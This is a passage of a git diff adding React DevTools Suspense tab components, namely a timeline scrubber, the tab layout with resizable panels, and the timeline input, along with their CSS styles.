+      data-hovered={isRootHovered}>
+      <ViewBox.Provider value={boundingBox}>
+        <div
+          className={styles.SuspenseRectsViewBox}
+          style={{aspectRatio, width}}>
+          {activityID === null ? (
+            <SuspenseRectsInitialPaint />
+          ) : (
+            <SuspenseRectsTransition id={activityID} />
+          )}
+          {selectedBoundingBox !== null ? (
+            <ScaledRect
+              className={
+                styles.SuspenseRectOutline +
+                ' ' +
+                getClassNameForEnvironment(selectedEnvironment)
+              }
+              rect={selectedBoundingBox}
+              adjust={true}
+            />
+          ) : null}
+        </div>
+      </ViewBox.Provider>
+    </div>
+  );
+}
+
+export default SuspenseRectsContainer;
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.css b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.css
new file mode 100644
index 000000000000..7ccb92b78bb2
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.css
@@ -0,0 +1,60 @@
+.SuspenseScrubber {
+  position: relative;
+  width: 100%;
+  height: 1.5rem;
+  border-radius: 0.75rem;
+  padding: 0.25rem;
+  box-sizing: border-box;
+  display: flex;
+  align-items: center;
+}
+
+.SuspenseScrubber:has(.SuspenseScrubberInput:focus-visible) {
+  outline: 2px solid var(--color-button-background-focus);
+}
+
+.SuspenseScrubberInput {
+  position: absolute;
+  width: 100%;
+  opacity: 0;
+  height: 0px;
+  overflow: hidden;
+}
+
+.SuspenseScrubberInput:focus {
+  outline: none;
+}
+
+.SuspenseScrubberStep {
+  cursor: pointer;
+  flex: 1;
+  height: 100%;
+  padding-right: 1px; /* we use this instead of flex gap to make every pixel clickable */
+  display: flex;
+  align-items: center;
+}
+.SuspenseScrubberStep:last-child {
+  padding-right: 0;
+}
+
+.SuspenseScrubberBead {
+  flex: 1;
+  height: 0.5rem;
+  border-radius: 0.5rem;
+  background: color-mix(in srgb, var(--color-suspense) 10%, transparent);
+  transition: all 0.3s ease-in;
+}
+
+.SuspenseScrubberBeadSelected {
+  height: 1rem;
+  background: var(--color-suspense);
+}
+
+.SuspenseScrubberBeadTransition {
+  background: var(--color-transition);
+}
+
+.SuspenseScrubberStepHighlight > .SuspenseScrubberBead {
+  height: 0.75rem;
+  transition: all 0.3s ease-out;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.js
new file mode 100644
index 000000000000..f8c0224c0bca
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseScrubber.js
@@ -0,0 +1,124 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {SuspenseTimelineStep} from 'react-devtools-shared/src/frontend/types';
+
+import typeof {SyntheticEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
+
+import * as React from 'react';
+import {useContext, useRef} from 'react';
+import {ElementTypeRoot} from 'react-devtools-shared/src/frontend/types';
+
+import styles from './SuspenseScrubber.css';
+
+import {getClassNameForEnvironment} from './SuspenseEnvironmentColors.js';
+
+import Tooltip from '../Components/reach-ui/tooltip';
+import {StoreContext} from '../context';
+
+export default function SuspenseScrubber({
+  min,
+  max,
+  timeline,
+  value,
+  highlight,
+  onBlur,
+  onChange,
+  onFocus,
+  onHoverSegment,
+  onHoverLeave,
+}: {
+  min: number,
+  max: number,
+  timeline: $ReadOnlyArray<SuspenseTimelineStep>,
+  value: number,
+  highlight: number,
+  onBlur?: () => void,
+  onChange: (index: number) => void,
+  onFocus?: () => void,
+  onHoverSegment: (index: number) => void,
+  onHoverLeave: () => void,
+}): React$Node {
+  const store = useContext(StoreContext);
+  const inputRef = useRef();
+  function handleChange(event: SyntheticEvent) {
+    const newValue = +event.currentTarget.value;
+    onChange(newValue);
+  }
+  function handlePress(index: number, event: SyntheticEvent) {
+    event.preventDefault();
+    if (inputRef.current == null) {
+      throw new Error(
+        'The input should always be mounted while we can click things.',
+      );
+    }
+    inputRef.current.focus();
+    onChange(index);
+  }
+  const steps = [];
+  for (let index = min; index <= max; index++) {
+    const step = timeline[index];
+    const environment = step.environment;
+    const element = store.getElementByID(step.id);
+    const label =
+      index === min
+        ? // The first step in the timeline is always a Transition (Initial Paint).
+          element === null || element.type === ElementTypeRoot
+          ? 'Initial Paint'
+          : 'Transition' +
+            (environment === null ? '' : ' (' + environment + ')')
+        : // TODO: Consider adding the name of this specific boundary if this step has only one.
+          environment === null
+          ? 'Suspense'
+          : environment;
+    steps.push(
+      <Tooltip key={index} label={label}>
+        <div
+          className={
+            styles.SuspenseScrubberStep +
+            (highlight === index
+              ? ' ' + styles.SuspenseScrubberStepHighlight
+              : '')
+          }
+          onPointerDown={handlePress.bind(null, index)}
+          onMouseEnter={onHoverSegment.bind(null, index)}>
+          <div
+            className={
+              styles.SuspenseScrubberBead +
+              (index === min
+                ? // The first step in the timeline is always a Transition (Initial Paint).
+                  ' ' + styles.SuspenseScrubberBeadTransition
+                : '') +
+              ' ' +
+              getClassNameForEnvironment(environment) +
+              (index <= value ? ' ' + styles.SuspenseScrubberBeadSelected : '')
+            }
+          />
+        </div>
+      </Tooltip>,
+    );
+  }
+
+  return (
+    <div className={styles.SuspenseScrubber} onMouseLeave={onHoverLeave}>
+      <input
+        className={styles.SuspenseScrubberInput}
+        type="range"
+        min={min}
+        max={max}
+        value={value}
+        onBlur={onBlur}
+        onChange={handleChange}
+        onFocus={onFocus}
+        ref={inputRef}
+      />
+      {steps}
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.css b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.css
new file mode 100644
index 000000000000..92935bd4a6b4
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.css
@@ -0,0 +1,137 @@
+.SuspenseTab {
+  position: relative;
+  width: 100%;
+  height: 100%;
+  display: flex;
+  flex-direction: row;
+  background-color: var(--color-background);
+  color: var(--color-text);
+  font-family: var(--font-family-sans);
+}
+
+.SuspenseTab, .SuspenseTab * {
+  box-sizing: border-box;
+  -webkit-font-smoothing: var(--font-smoothing);
+}
+
+.VRule {
+  height: 20px;
+  width: 1px;
+  flex: 0 0 1px;
+  margin: 0 0.5rem;
+  background-color: var(--color-border);
+}
+
+.TreeWrapper {
+  border-top: 1px solid var(--color-border);
+  flex: 1 1 65%;
+  display: flex;
+  flex-direction: row;
+  height: 100%;
+  overflow: auto;
+}
+
+.InspectedElementWrapper {
+  flex: 0 0 calc(100% - var(--horizontal-resize-tree-percentage));
+  overflow-x: hidden;
+  overflow-y: auto;
+  border-left: 1px solid var(--color-border);
+}
+
+.ResizeBarWrapper {
+  flex: 0 0 0px;
+  position: relative;
+}
+
+.ResizeBar {
+  position: absolute;
+  /*
+   * moving the bar out of its bounding box might cause its hitbox to overlap
+   * with another scrollbar creating disorienting UX where you both resize and scroll
+   * at the same time.
+   * If you adjust this value, double check that starting resize right on this edge
+   * doesn't also cause scroll
+   */
+  left: 1px;
+  width: 5px;
+  height: 100%;
+  cursor: ew-resize;
+}
+
+@container devtools (width < 600px) {
+  .SuspenseTab {
+    flex-direction: column;
+  }
+
+  .TreeWrapper {
+    border-top: 1px solid var(--color-border);
+    flex: 1 1 50%;
+    overflow: hidden;
+  }
+
+  .InspectedElementWrapper {
+    flex: 0 0 calc(100% - var(--vertical-resize-tree-percentage));
+    border-left: none;
+  }
+
+  .TreeWrapper + .ResizeBarWrapper .ResizeBar {
+    top: 1px;
+    left: 0;
+    width: 100%;
+    height: 5px;
+    cursor: ns-resize;
+  }
+
+  .ToggleInspectedElement[data-orientation="horizontal"] {
+    display: none;
+  }
+}
+
+@container devtools (width >= 600px) {
+  .ToggleInspectedElement[data-orientation="vertical"] {
+    display: none;
+  }
+}
+
+.ActivityList {
+  flex: 0 0 var(--horizontal-resize-activity-list-percentage);;
+  border-right: 1px solid var(--color-border);
+  overflow: auto;
+}
+
+.TreeView {
+  flex: 1 1 35%;
+  display: flex;
+  flex-direction: column;
+  height: 100%;
+  overflow: auto;
+}
+
+.Rects {
+  padding: 0.25rem;
+  flex-grow: 1;
+  overflow: auto;
+}
+
+.SuspenseTreeViewHeader {
+  flex: 0 0 42px;
+  padding: 0.5rem;
+  display: flex;
+  align-items: center;
+  border-bottom: 1px solid var(--color-border);
+}
+
+.SuspenseTreeViewFooter {
+  flex: 0 0 42px;
+  display: flex;
+  justify-content: end;
+  border-top: 1px solid var(--color-border);
+  padding: 0.5rem;
+  display: grid;
+  grid-template-columns: 1fr auto;
+  align-items: center;
+}
+
+.SuspenseTreeViewFooterButtons {
+  padding: 0.25rem;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.js
new file mode 100644
index 000000000000..3fdd9fe935a3
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTab.js
@@ -0,0 +1,648 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import * as React from 'react';
+import {
+  useContext,
+  useEffect,
+  useLayoutEffect,
+  useReducer,
+  useRef,
+  Fragment,
+} from 'react';
+
+import {enableActivitySlices} from 'react-devtools-feature-flags';
+import {
+  localStorageGetItem,
+  localStorageSetItem,
+} from 'react-devtools-shared/src/storage';
+import ButtonIcon, {type IconType} from '../ButtonIcon';
+import InspectHostNodesToggle from '../Components/InspectHostNodesToggle';
+import InspectedElementErrorBoundary from '../Components/InspectedElementErrorBoundary';
+import InspectedElement from '../Components/InspectedElement';
+import portaledContent from '../portaledContent';
+import styles from './SuspenseTab.css';
+import SuspenseBreadcrumbs from './SuspenseBreadcrumbs';
+import SuspenseRects from './SuspenseRects';
+import SuspenseTimeline from './SuspenseTimeline';
+import ActivityList from './ActivityList';
+import {
+  SuspenseTreeDispatcherContext,
+  SuspenseTreeStateContext,
+} from './SuspenseTreeContext';
+import {BridgeContext, StoreContext, OptionsContext} from '../context';
+import Button from '../Button';
+import Toggle from '../Toggle';
+import typeof {SyntheticPointerEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
+import SettingsModal from 'react-devtools-shared/src/devtools/views/Settings/SettingsModal';
+import SettingsModalContextToggle from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle';
+import {SettingsModalContextController} from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContext';
+import {TreeStateContext} from '../Components/TreeContext';
+
+type Orientation = 'horizontal' | 'vertical';
+
+type LayoutActionType =
+  | 'ACTION_SET_ACTIVITY_LIST_TOGGLE'
+  | 'ACTION_SET_ACTIVITY_LIST_HORIZONTAL_FRACTION'
+  | 'ACTION_SET_INSPECTED_ELEMENT_TOGGLE'
+  | 'ACTION_SET_INSPECTED_ELEMENT_HORIZONTAL_FRACTION'
+  | 'ACTION_SET_INSPECTED_ELEMENT_VERTICAL_FRACTION';
+type LayoutAction = {
+  type: LayoutActionType,
+  payload: any,
+};
+
+type LayoutState = {
+  activityListHidden: boolean,
+  activityListHorizontalFraction: number,
+  inspectedElementHidden: boolean,
+  inspectedElementHorizontalFraction: number,
+  inspectedElementVerticalFraction: number,
+};
+type LayoutDispatch = (action: LayoutAction) => void;
+
+function ToggleUniqueSuspenders() {
+  const store = useContext(StoreContext);
+  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);
+
+  const {uniqueSuspendersOnly} = useContext(SuspenseTreeStateContext);
+
+  function handleToggleUniqueSuspenders() {
+    const nextUniqueSuspendersOnly = !uniqueSuspendersOnly;
+    // TODO: Handle different timeline modes (e.g. random order)
+    const nextTimeline = store.getEndTimeOrDocumentOrderSuspense(
+      nextUniqueSuspendersOnly,
+    );
+    suspenseTreeDispatch({
+      type: 'SET_SUSPENSE_TIMELINE',
+      payload: [nextTimeline, null, nextUniqueSuspendersOnly],
+    });
+  }
+
+  return (
+    <Toggle
+      isChecked={uniqueSuspendersOnly}
+      onChange={handleToggleUniqueSuspenders}
+      title={
+        'Filter Suspense which does not suspend, or if the parent also suspend on the same.'
+      }>
+      <ButtonIcon type={uniqueSuspendersOnly ? 'filter-on' : 'filter-off'} />
+    </Toggle>
+  );
+}
+
+function ToggleActivityList({
+  dispatch,
+  state,
+}: {
+  dispatch: LayoutDispatch,
+  state: LayoutState,
+}) {
+  return (
+    <Button
+      onClick={() =>
+        dispatch({
+          type: 'ACTION_SET_ACTIVITY_LIST_TOGGLE',
+          payload: null,
+        })
+      }
+      title={
+        state.activityListHidden ? 'Show Activity List' : 'Hide Activity List'
+      }>
+      <ButtonIcon
+        type={state.activityListHidden ? 'panel-left-open' : 'panel-left-close'}
+      />
+    </Button>
+  );
+}
+
+function ToggleInspectedElement({
+  dispatch,
+  state,
+  orientation,
+}: {
+  dispatch: LayoutDispatch,
+  state: LayoutState,
+  orientation: 'horizontal' | 'vertical',
+}) {
+  let iconType: IconType;
+  if (orientation === 'horizontal') {
+    iconType = state.inspectedElementHidden
+      ? 'panel-right-open'
+      : 'panel-right-close';
+  } else {
+    iconType = state.inspectedElementHidden
+      ? 'panel-bottom-open'
+      : 'panel-bottom-close';
+  }
+  return (
+    <Button
+      className={styles.ToggleInspectedElement}
+      data-orientation={orientation}
+      onClick={() =>
+        dispatch({
+          type: 'ACTION_SET_INSPECTED_ELEMENT_TOGGLE',
+          payload: null,
+        })
+      }
+      title={
+        state.inspectedElementHidden
+          ? 'Show Inspected Element'
+          : 'Hide Inspected Element'
+      }>
+      <ButtonIcon type={iconType} />
+    </Button>
+  );
+}
+
+function SynchronizedScrollContainer({
+  className,
+  children,
+  scaleRef,
+}: {
+  className?: string,
+  children?: React.Node,
+  scaleRef: {current: number},
+}) {
+  const bridge = useContext(BridgeContext);
+  const ref = useRef(null);
+  const applyingScrollRef = useRef(false);
+
+  // TODO: useEffectEvent
+  function scrollContainerTo({
+    left,
+    top,
+    right,
+    bottom,
+  }: {
+    left: number,
+    top: number,
+    right: number,
+    bottom: number,
+  }): void {
+    const element = ref.current;
+    if (element === null) {
+      return;
+    }
+    const scale = scaleRef.current / element.clientWidth;
+    const targetLeft = Math.round(left / scale);
+    const targetTop = Math.round(top / scale);
+    if (
+      targetLeft !== Math.round(element.scrollLeft) ||
+      targetTop !== Math.round(element.scrollTop)
+    ) {
+      // Disable scroll events until we've applied the new scroll position.
+      applyingScrollRef.current = true;
+      element.scrollTo({
+        left: targetLeft,
+        top: targetTop,
+        behavior: 'smooth',
+      });
+    }
+  }
+
+  useEffect(() => {
+    const callback = scrollContainerTo;
+    bridge.addListener('scrollTo', callback);
+    // Ask for the current scroll position when we mount so we can attach ourselves to it.
+    bridge.send('requestScrollPosition');
+    return () => bridge.removeListener('scrollTo', callback);
+  }, [bridge]);
+
+  const scrollTimer = useRef<null | TimeoutID>(null);
+
+  // TODO: useEffectEvent
+  function sendScroll() {
+    if (scrollTimer.current) {
+      clearTimeout(scrollTimer.current);
+      scrollTimer.current = null;
+    }
+    if (applyingScrollRef.current) {
+      return;
+    }
+    const element = ref.current;
+    if (element === null) {
+      return;
+    }
+    const scale = scaleRef.current / element.clientWidth;
+    const left = element.scrollLeft * scale;
+    const top = element.scrollTop * scale;
+    const right = left + element.clientWidth * scale;
+    const bottom = top + element.clientHeight * scale;
+    bridge.send('scrollTo', {left, top, right, bottom});
+  }
+
+  // TODO: useEffectEvent
+  function throttleScroll() {
+    if (!scrollTimer.current) {
+      // Periodically synchronize the scroll while scrolling.
+      scrollTimer.current = setTimeout(sendScroll, 400);
+    }
+  }
+
+  function scrollEnd() {
+    // Upon scrollend send it immediately.
+    sendScroll();
+    applyingScrollRef.current = false;
+  }
+
+  useEffect(() => {
+    const element = ref.current;
+    if (element === null) {
+      return;
+    }
+    const scrollCallback = throttleScroll;
+    const scrollEndCallback = scrollEnd;
+    element.addEventListener('scroll', scrollCallback);
+    element.addEventListener('scrollend', scrollEndCallback);
+    return () => {
+      element.removeEventListener('scroll', scrollCallback);
+      element.removeEventListener('scrollend', scrollEndCallback);
+    };
+  }, [ref]);
+
+  return (
+    <div className={className} ref={ref}>
+      {children}
+    </div>
+  );
+}
+
+function SuspenseTab(_: {}) {
+  const store = useContext(StoreContext);
+  const {hideSettings} = useContext(OptionsContext);
+  const [state, dispatch] = useReducer<LayoutState, null, LayoutAction>(
+    layoutReducer,
+    null,
+    initLayoutState,
+  );
+
+  const {activities} = useContext(TreeStateContext);
+  // If there are no named Activity boundaries, we don't have any tree list and we should hide
+  // both the panel and the button to toggle it.
+  const activityListDisabled = !enableActivitySlices || activities.length === 0;
+
+  const wrapperTreeRef = useRef<null | HTMLElement>(null);
+  const resizeTreeRef = useRef<null | HTMLElement>(null);
+  const resizeActivityListRef = useRef<null | HTMLElement>(null);
+
+  // TODO: We'll show the recently inspected element in this tab when it should probably
+  // switch to the nearest Suspense boundary when we switch into this tab.
+
+  const {
+    inspectedElementHidden,
+    inspectedElementHorizontalFraction,
+    inspectedElementVerticalFraction,
+    activityListHidden,
+    activityListHorizontalFraction,
+  } = state;
+
+  useLayoutEffect(() => {
+    const wrapperElement = wrapperTreeRef.current;
+
+    setResizeCSSVariable(
+      wrapperElement,
+      'tree',
+      'horizontal',
+      inspectedElementHorizontalFraction * 100,
+    );
+    setResizeCSSVariable(
+      wrapperElement,
+      'tree',
+      'vertical',
+      inspectedElementVerticalFraction * 100,
+    );
+
+    const resizeActivityListElement = resizeActivityListRef.current;
+    setResizeCSSVariable(
+      resizeActivityListElement,
+      'activity-list',
+      'horizontal',
+      activityListHorizontalFraction * 100,
+    );
+  }, []);
+  useEffect(() => {
+    const timeoutID = setTimeout(() => {
+      localStorageSetItem(
+        LOCAL_STORAGE_KEY,
+        JSON.stringify({
+          inspectedElementHidden,
+          inspectedElementHorizontalFraction,
+          inspectedElementVerticalFraction,
+          activityListHidden,
+          activityListHorizontalFraction,
+        }),
+      );
+    }, 500);
+
+    return () => clearTimeout(timeoutID);
+  }, [
+    inspectedElementHidden,
+    inspectedElementHorizontalFraction,
+    inspectedElementVerticalFraction,
+    activityListHidden,
+    activityListHorizontalFraction,
+  ]);
+
+  const onResizeStart = (event: SyntheticPointerEvent) => {
+    const element = event.currentTarget;
+    element.setPointerCapture(event.pointerId);
+  };
+
+  const onResizeEnd = (event: SyntheticPointerEvent) => {
+    const element = event.currentTarget;
+    element.releasePointerCapture(event.pointerId);
+  };
+
+  const onResizeTree = (event: SyntheticPointerEvent) => {
+    const element = event.currentTarget;
+    const isResizing = element.hasPointerCapture(event.pointerId);
+    if (!isResizing) {
+      return;
+    }
+
+    const resizeElement = resizeTreeRef.current;
+    const wrapperElement = wrapperTreeRef.current;
+
+    if (wrapperElement === null || resizeElement === null) {
+      return;
+    }
+
+    event.preventDefault();
+
+    const orientation = getTreeOrientation(wrapperElement);
+
+    const {height, width, left, top} = wrapperElement.getBoundingClientRect();
+
+    const currentMousePosition =
+      orientation === 'horizontal' ? event.clientX - left : event.clientY - top;
+
+    const boundaryMin = MINIMUM_TREE_SIZE;
+    const boundaryMax =
+      orientation === 'horizontal'
+        ? width - MINIMUM_TREE_SIZE
+        : height - MINIMUM_TREE_SIZE;
+
+    const isMousePositionInBounds =
+      currentMousePosition > boundaryMin && currentMousePosition < boundaryMax;
+
+    if (isMousePositionInBounds) {
+      const resizedElementDimension =
+        orientation === 'horizontal' ? width : height;
+      const actionType =
+        orientation === 'horizontal'
+          ? 'ACTION_SET_INSPECTED_ELEMENT_HORIZONTAL_FRACTION'
+          : 'ACTION_SET_INSPECTED_ELEMENT_VERTICAL_FRACTION';
+      const fraction = currentMousePosition / resizedElementDimension;
+      const percentage = fraction * 100;
+
+      setResizeCSSVariable(wrapperElement, 'tree', orientation, percentage);
+
+      dispatch({
+        type: actionType,
+        payload: fraction,
+      });
+    }
+  };
+
+  const onResizeActivityList = (event: SyntheticPointerEvent) => {
+    const element = event.currentTarget;
+    const isResizing = element.hasPointerCapture(event.pointerId);
+    if (!isResizing) {
+      return;
+    }
+
+    const resizeElement = resizeActivityListRef.current;
+    const wrapperElement = resizeTreeRef.current;
+
+    if (wrapperElement === null || resizeElement === null) {
+      return;
+    }
+
+    event.preventDefault();
+
+    const orientation = 'horizontal';
+
+    const {height, width, left, top} = wrapperElement.getBoundingClientRect();
+
+    const currentMousePosition =
+      orientation === 'horizontal' ? event.clientX - left : event.clientY - top;
+
+    const boundaryMin = MINIMUM_ACTIVITY_LIST_SIZE;
+    const boundaryMax =
+      orientation === 'horizontal'
+        ? width - MINIMUM_ACTIVITY_LIST_SIZE
+        : height - MINIMUM_ACTIVITY_LIST_SIZE;
+
+    const isMousePositionInBounds =
+      currentMousePosition > boundaryMin && currentMousePosition < boundaryMax;
+
+    if (isMousePositionInBounds) {
+      const resizedElementDimension =
+        orientation === 'horizontal' ? width : height;
+      const actionType = 'ACTION_SET_ACTIVITY_LIST_HORIZONTAL_FRACTION';
+      const percentage = (currentMousePosition / resizedElementDimension) * 100;
+
+      setResizeCSSVariable(
+        resizeElement,
+        'activity-list',
+        orientation,
+        percentage,
+      );
+
+      dispatch({
+        type: actionType,
+        payload: currentMousePosition / resizedElementDimension,
+      });
+    }
+  };
+
+  const scaleRef = useRef(0);
+
+  return (
+    <SettingsModalContextController>
+      <div className={styles.SuspenseTab} ref={wrapperTreeRef}>
+        <div className={styles.TreeWrapper} ref={resizeTreeRef}>
+          {activityListDisabled ? null : (
+            <div
+              className={styles.ActivityList}
+              hidden={activityListHidden}
+              ref={resizeActivityListRef}>
+              <ActivityList activities={activities} />
+            </div>
+          )}
+          {activityListDisabled ? null : (
+            <div
+              className={styles.ResizeBarWrapper}
+              hidden={activityListHidden}>
+              <div
+                onPointerDown={onResizeStart}
+                onPointerMove={onResizeActivityList}
+                onPointerUp={onResizeEnd}
+                className={styles.ResizeBar}
+              />
+            </div>
+          )}
+          <div className={styles.TreeView}>
+            <header className={styles.SuspenseTreeViewHeader}>
+              {activityListDisabled ? (
+                <div />
+              ) : (
+                <ToggleActivityList dispatch={dispatch} state={state} />
+              )}
+              {store.supportsClickToInspect && (
+                <Fragment>
+                  <InspectHostNodesToggle onlySuspenseNodes={true} />
+                  <div className={styles.VRule} />
+                </Fragment>
+              )}
+              <SuspenseBreadcrumbs />
+              <div className={styles.VRule} />
+              <ToggleUniqueSuspenders />
+              {!hideSettings && <SettingsModalContextToggle />}
+              <ToggleInspectedElement
+                dispatch={dispatch}
+                state={state}
+                orientation="horizontal"
+              />
+            </header>
+            <SynchronizedScrollContainer
+              className={styles.Rects}
+              scaleRef={scaleRef}>
+              <SuspenseRects scaleRef={scaleRef} />
+            </SynchronizedScrollContainer>
+            <footer className={styles.SuspenseTreeViewFooter}>
+              <SuspenseTimeline />
+              <div className={styles.SuspenseTreeViewFooterButtons}>
+                <ToggleInspectedElement
+                  dispatch={dispatch}
+                  state={state}
+                  orientation="vertical"
+                />
+              </div>
+            </footer>
+          </div>
+        </div>
+        <div
+          className={styles.ResizeBarWrapper}
+          hidden={inspectedElementHidden}>
+          <div
+            onPointerDown={onResizeStart}
+            onPointerMove={onResizeTree}
+            onPointerUp={onResizeEnd}
+            className={styles.ResizeBar}
+          />
+        </div>
+        <div
+          className={styles.InspectedElementWrapper}
+          hidden={inspectedElementHidden}>
+          <InspectedElementErrorBoundary>
+            <InspectedElement
+              fallbackEmpty={
+                'No React element selected. Select a Suspense boundary in the minimap to inspect.'
+              }
+            />
+          </InspectedElementErrorBoundary>
+        </div>
+        <SettingsModal />
+      </div>
+    </SettingsModalContextController>
+  );
+}
+
+const LOCAL_STORAGE_KEY = 'React::DevTools::SuspenseTab::layout';
+const VERTICAL_TREE_MODE_MAX_WIDTH = 600;
+const MINIMUM_TREE_SIZE = 100;
+const MINIMUM_ACTIVITY_LIST_SIZE = 100;
+
+function layoutReducer(state: LayoutState, action: LayoutAction): LayoutState {
+  switch (action.type) {
+    case 'ACTION_SET_ACTIVITY_LIST_TOGGLE':
+      return {
+        ...state,
+        activityListHidden: !state.activityListHidden,
+      };
+    case 'ACTION_SET_ACTIVITY_LIST_HORIZONTAL_FRACTION':
+      return {
+        ...state,
+        activityListHorizontalFraction: action.payload,
+      };
+    case 'ACTION_SET_INSPECTED_ELEMENT_TOGGLE':
+      return {
+        ...state,
+        inspectedElementHidden: !state.inspectedElementHidden,
+      };
+    case 'ACTION_SET_INSPECTED_ELEMENT_HORIZONTAL_FRACTION':
+      return {
+        ...state,
+        inspectedElementHorizontalFraction: action.payload,
+      };
+    case 'ACTION_SET_INSPECTED_ELEMENT_VERTICAL_FRACTION':
+      return {
+        ...state,
+        inspectedElementVerticalFraction: action.payload,
+      };
+    default:
+      return state;
+  }
+}
+
+function initLayoutState(): LayoutState {
+  let inspectedElementHidden = false;
+  let inspectedElementHorizontalFraction = 0.65;
+  let inspectedElementVerticalFraction = 0.5;
+  let activityListHidden = false;
+  let activityListHorizontalFraction = 0.35;
+
+  try {
+    let data = localStorageGetItem(LOCAL_STORAGE_KEY);
+    if (data != null) {
+      data = JSON.parse(data);
+      inspectedElementHidden = data.inspectedElementHidden;
+      inspectedElementHorizontalFraction =
+        data.inspectedElementHorizontalFraction;
+      inspectedElementVerticalFraction = data.inspectedElementVerticalFraction;
+      activityListHidden = data.activityListHidden;
+      activityListHorizontalFraction = data.activityListHorizontalFraction;
+    }
+  } catch (error) {}
+
+  return {
+    inspectedElementHidden,
+    inspectedElementHorizontalFraction,
+    inspectedElementVerticalFraction,
+    activityListHidden,
+    activityListHorizontalFraction,
+  };
+}
+
+function getTreeOrientation(
+  wrapperElement: null | HTMLElement,
+): null | Orientation {
+  if (wrapperElement != null) {
+    const {width} = wrapperElement.getBoundingClientRect();
+    return width > VERTICAL_TREE_MODE_MAX_WIDTH ? 'horizontal' : 'vertical';
+  }
+  return null;
+}
+
+function setResizeCSSVariable(
+  resizeElement: null | HTMLElement,
+  name: 'tree' | 'activity-list',
+  orientation: null | Orientation,
+  percentage: number,
+): void {
+  if (resizeElement !== null && orientation !== null) {
+    resizeElement.style.setProperty(
+      `--${orientation}-resize-${name}-percentage`,
+      `${percentage}%`,
+    );
+  }
+}
+
+export default (portaledContent(SuspenseTab): component());
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.css b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.css
new file mode 100644
index 000000000000..77bb01c5fa32
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.css
@@ -0,0 +1,21 @@
+.SuspenseTimelineContainer {
+  display: flex;
+  flex-direction: row;
+  padding: 0.25rem;
+  align-items: center;
+}
+
+.SuspenseTimelineInput {
+  display: flex;
+  flex-direction: column;
+  flex-grow: 1;
+}
+
+.SuspenseTimelineRootSwitcher {
+  height: fit-content;
+  max-width: 3rem;
+}
+
+.SuspenseTimelineProgressIndicator {
+  align-self: center;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.js
new file mode 100644
index 000000000000..c7d9246fb457
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTimeline.js
@@ -0,0 +1,225 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {useContext, useEffect} from 'react';
+import {BridgeContext, StoreContext} from '../context';
+import {TreeDispatcherContext} from '../Components/TreeContext';
+import {useScrollToHostInstance} from '../hooks';
+import {
+  SuspenseTreeDispatcherContext,
+  SuspenseTreeStateContext,
+} from './SuspenseTreeContext';
+import styles from './SuspenseTimeline.css';
+import SuspenseScrubber from './SuspenseScrubber';
+import Button from '../Button';
+import ButtonIcon from '../ButtonIcon';
+import type {SuspenseNode} from '../../../frontend/types';
+
+function SuspenseTimelineInput() {
+  const bridge = useContext(BridgeContext);
+  const store = useContext(StoreContext);
+  const treeDispatch = useContext(TreeDispatcherContext);
+  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);
+  const scrollToHostInstance = useScrollToHostInstance();
+
+  const {timeline, timelineIndex, hoveredTimelineIndex, playing, autoScroll} =
+    useContext(SuspenseTreeStateContext);
+
+  const min = 0;
+  const max = timeline.length > 0 ? timeline.length - 1 : 0;
+
+  function switchSuspenseNode(nextTimelineIndex: number) {
+    const nextSelectedSuspenseID = timeline[nextTimelineIndex].id;
+    treeDispatch({
+      type: 'SELECT_ELEMENT_BY_ID',
+      payload: nextSelectedSuspenseID,
+    });
+    suspenseTreeDispatch({
+      type: 'SUSPENSE_SET_TIMELINE_INDEX',
+      payload: nextTimelineIndex,
+    });
+  }
+
+  function handleChange(pendingTimelineIndex: number) {
+    switchSuspenseNode(pendingTimelineIndex);
+  }
+
+  function handleFocus() {
+    switchSuspenseNode(timelineIndex);
+  }
+
+  function handleHoverSegment(hoveredIndex: number) {
+    const nextSelectedSuspenseID = timeline[hoveredIndex].id;
+    suspenseTreeDispatch({
+      type: 'HOVER_TIMELINE_FOR_ID',
+      payload: nextSelectedSuspenseID,
+    });
+  }
+  function handleUnhoverSegment() {
+    suspenseTreeDispatch({
+      type: 'HOVER_TIMELINE_FOR_ID',
+      payload: -1,
+    });
+  }
+
+  function skipPrevious() {
